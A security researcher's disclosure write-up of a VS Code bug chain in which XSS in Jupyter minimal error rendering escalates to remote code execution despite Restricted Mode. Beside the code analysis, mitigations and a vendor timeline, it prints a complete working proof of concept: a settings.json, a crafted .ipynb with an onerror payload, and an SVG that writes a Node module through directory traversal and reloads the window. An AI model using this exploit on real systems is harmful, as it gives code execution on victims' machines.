In April 2024, I discovered a high-severity vulnerability in Visual Studio Code (VS Code <= 1.89.1) that allows attackers to escalate a Cross-Site Scripting (XSS) bug into full Remote Code Execution (RCE)—even in Restricted Mode.

The desktop version of Visual Studio Code runs on Electron. Renderer processes are sandboxed and communicate with the main process through Electron’s IPC mechanism.

An XSS vulnerability in the newly-introduced minimal error rendering mode for Jupyter notebooks enables arbitrary JavaScript code to be executed within the vscode-app WebView for the notebook renderer. The vulnerability can be triggered by opening a crafted .ipynb file if the user has the setting enabled, or by opening a folder containing a crafted settings.json file in VS Code and opening a malicious ipynb file within the folder. This vulnerability can be triggered even when Restricted Mode is enabled (which is the default for workspaces that have not been explicitly trusted by the user).

In this post, we’ll walk through how the bug works and how it bypasses VS Code’s Restricted Mode.

Vulnerability Details

Default installations of Visual Studio provide some in-built support for Jupyter Notebooks and provide default renderers for some common output types. The source code for these renderers can be found at extensions/notebook-renderers/src/index.ts. For cells of type application/vnd.code.notebook.error, the renderer calls the renderError function, which in turn calls formatStackTrace located in stackTraceHelper.ts. That function further calls linkify, located in the same file, to convert references to lines located in particular cells to clickable links within VS Code. If minimal error rendering mode is enabled, the program will pass the results from formatStackTrace to createMinimalError, which performs some further processing and appends the result to the webview’s DOM. Relevent extracts from the code with annotations are reproduced here.

renderError:

function renderError(
	outputInfo: OutputItem,
	outputElement: HTMLElement,
	ctx: IRichRenderContext,
	trustHtml: boolean // false if workspace is not trusted
): IDisposable {

    // ...

	if (err.stack) {
		const minimalError = ctx.settings.minimalError && !!headerMessage?.length;
		outputElement.classList.add('traceback');

		const { formattedStack, errorLocation } = formatStackTrace(err.stack);
        // ...
		if (minimalError) {
			createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement);
		} else {
			// ...
		}
	} else {
		// ...
	}

	outputElement.classList.add('error');
	return disposableStore;
}

formatStackTrace and linkify:

export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } {
	let cleaned: string;
	// ...

	if (isIpythonStackTrace(cleaned)) {
		return linkifyStack(cleaned);
	}
}

const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/;

function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } {
	const lines = stack.split('\n');

	let fileOrCell: location | undefined;
	let locationLink = '';

	for (const i in lines) {

		const original = lines[i];
		if (fileRegex.test(original)) {
			// ...
		} else if (cellRegex.test(original)) {
			fileOrCell = {
				kind: 'cell',
				path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>'))
			};
			const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1]
			lines[i] = original.replace(cellRegex, `$<prefix>${link}`);
			locationLink = locationLink || link; // [2]

			continue;
		}
        // ...
	}

	const errorLocation = locationLink; // [3]
	return { formattedStack: lines.join('\n'), errorLocation };
}

createMinimalError:

function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) {
	const outputDiv = document.createElement('div');
	const headerSection = document.createElement('div');
	headerSection.classList.add('error-output-header');

	if (errorLocation && errorLocation.indexOf('<a') === 0) {
		headerSection.innerHTML = errorLocation; // [4]
	}
	const header = document.createElement('span');
	header.innerText = headerMessage;
	headerSection.appendChild(header);
	outputDiv.appendChild(headerSection);

	// ...
	outputElement.appendChild(outputDiv);
}

At [1] and [2], the code tries to convert sequences such as Cell In [1], line 6 (optionally with ANSI escape sequences) to HTML tags for links with the form <a href=vscode-notebook-cell:?execution_count=1&line=6>line 6</a> and sets the errorLocation variable to this HTML at [3]. Crucially, the wildcard at the end of the regular expression it uses will swallow any text that comes after the line number, but any text immediately preceding the Cell In sequence will not be affected by the replace operation. Thus, an input like LOLZTEXTHERECell In [1], line 6 in the ipynb. would result in the invalid markup LOLZTEXTHERE<a href=LOLZTEXTHEREvscode-notebook-cell:?execution_count=1&line=6>line 6</a>.

In createMinimalError, if errorLocation is set and begins with <a, it is considered to be a link generated by the formatStackTrace function and is thus assigned to headerSection.innerHTML directly. This element is added to the output DOM regardless of whether the workspace is trusted or not. However, since we have partial control of the markup formatStackTrace generates (including the start of the string), we can create a notebook file with the stack trace <a><img src onerror=console.log(123)>Cell In [1], line 6, which will result in the value of errorLocation being <a><img src onerror=console.log(123)><a href=<a><img[etc]. Since this satisfies the condition of beginning with <a>, it will be inserted into headerSection.innerHTML and rendered in the webview, resulting in the JavaScript being run and 123 being logged to the console.

javascript execution in console

Escalating to RCE

The XSS vulnerability leads to code execution within an iframe under the vscode-app origin, which is a frame under the main workbench window which is under the vscode-file origin. The main workbench window contains the vscode.ipcRenderer object which enables the renderer frame to send IPC messages to the main frame in order to perform filesystem operations, create and execute commands in PTYs, and so on. To access this object, we need to find a way to execute code within the vscode-file origin. The code for the vscode-file protocol handler is located in src/vs/platform/protocol/electron-main/protocolMainService.ts, with the relevant parts excerpted here:

	private readonly validExtensions = new Set(['.svg', '.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp', '.mp4']); // https://github.com/microsoft/vscode/issues/119384

    private handleResourceRequest(request: Electron.ProtocolRequest, callback: ProtocolCallback): void {
		const path = this.requestToNormalizedFilePath(request);

		let headers: Record<string, string> | undefined;
		if (this.environmentService.crossOriginIsolated) {
			if (basename(path) === 'workbench.html' || basename(path) === 'workbench-dev.html') {
				headers = COI.CoopAndCoep;
			} else {
				headers = COI.getHeadersFromQuery(request.url);
			}
		}

		// first check by validRoots
		if (this.validRoots.findSubstr(path)) {
			return callback({ path, headers });
		}

		// then check by validExtensions
		if (this.validExtensions.has(extname(path).toLowerCase())) {
			return callback({ path });
		}

		// finally block to load the resource
		this.logService.error(`${Schemas.vscodeFileResource}: Refused to load resource ${path} from ${Schemas.vscodeFileResource}: protocol (original URL: ${request.url})`);

		return callback({ error: -3 /* ABORTED */ });
	}

In order to load files under the vscode-file protocol, they either have to be located within the VS Code app installation directory or have one of a set of valid extensions. .svg is a valid extension and can contain JavaScript code which will execute when loaded in an <iframe>. We can include an SVG file with our malicious repo and get a reference to the directory where it is stored through many of the DOM elements in the notebook webview which contain references to the current directory (the PoC uses the <base> tag’s href attribute).

Within the SVG file, top.vscode.ipcRenderer can be used to invoke IPC handlers of the main process. Two handlers in particular, vscode:readNlsFile and vscode:writeNlsFile, were found to be vulnerable to directory traversal, enabling attackers to read and write to any file the process has permission to on the filesystem. The PoC uses this to execute code on Windows and macOS by writing to <vscode app root>/out/node_modules/graceful-fs.js, which is a file that does not exist by default but VS Code attempts to import when loading a window (which we can trigger immediately by sending a vscode:reloadWindow IPC message). On Linux, code execution can be achieved through similar means by writing to .bashrc etc.

Proof-of-Concept:

The PoC is a malicious folder containing a VS Code workspace. To trigger the vulnerability, open the folder in VS Code with the Open Folder command and open README.ipynb within the folder. This PoC has been tested on the Windows and macOS versions of VS code. The file structure of the malicious repository is as follows:

not_sus_repo
├── .vscode
│   └── settings.json
├── README.ipynb
└── icon.svg

vscode/settings.json:

{
    "notebook.output.minimalErrorRendering": true
}

README.ipynb:

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.code.notebook.error": {
       "message": "error",
       "name": "name",
       "stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6"
      }
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def make_big_err(i):\n",
    "    if i <= 0:\n",
    "        raise Exception()\n",
    "    make_big_err(i-1)\n",
    "\n",
    "make_big_err(10)"
   ]
  }
 ]
}

icon.svg:

<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
    <circle r="45" cx="50" cy="50" fill="red" />
    <script>
      async function exp() {
        const pathSep = top.vscode.process.platform === 'win32' ? '\\' : '/';
        const a = top.vscode.context.configuration().userDataDir;
        let b = top.vscode.context.configuration().appRoot;
        let payload = top.vscode.process.platform === 'win32' ? 'start calc.exe' : 'open -a Calculator.app';

        if (b[1] === ':') {
          b = b.slice(2);
        }

        const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`;
        await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`);
        top.vscode.ipcRenderer.send('vscode:reloadWindow');
      }

      exp();
    </script>
  </svg>

Suggested Mitigations

  • In createMinimalError, ensure that errorLocation only consists of an <a> tag with the specified URI format before assigning to headerSection.innerHTML
  • Use Content Security Policy in the notebook renderer webview to ensure that only trusted scripts are run when in restricted mode.

Demo

It’s demo time.

Timeline

  • 2024-07-03 Vendor Disclosure
  • 2024-07-03 Initial Vendor Contact
  • 2024-07-10 Shared two other POC with vendor
  • 2024-08-02 Vendor’s reply “this case has been assessed as low severity and does not meet MSRC’s bar for immediate servicing due to RCE is no longer possible without extensive user interaction (i.e., accepting a save prompt to a location controlled by an attacker).”
  • 2025-05-14 Public Disclosure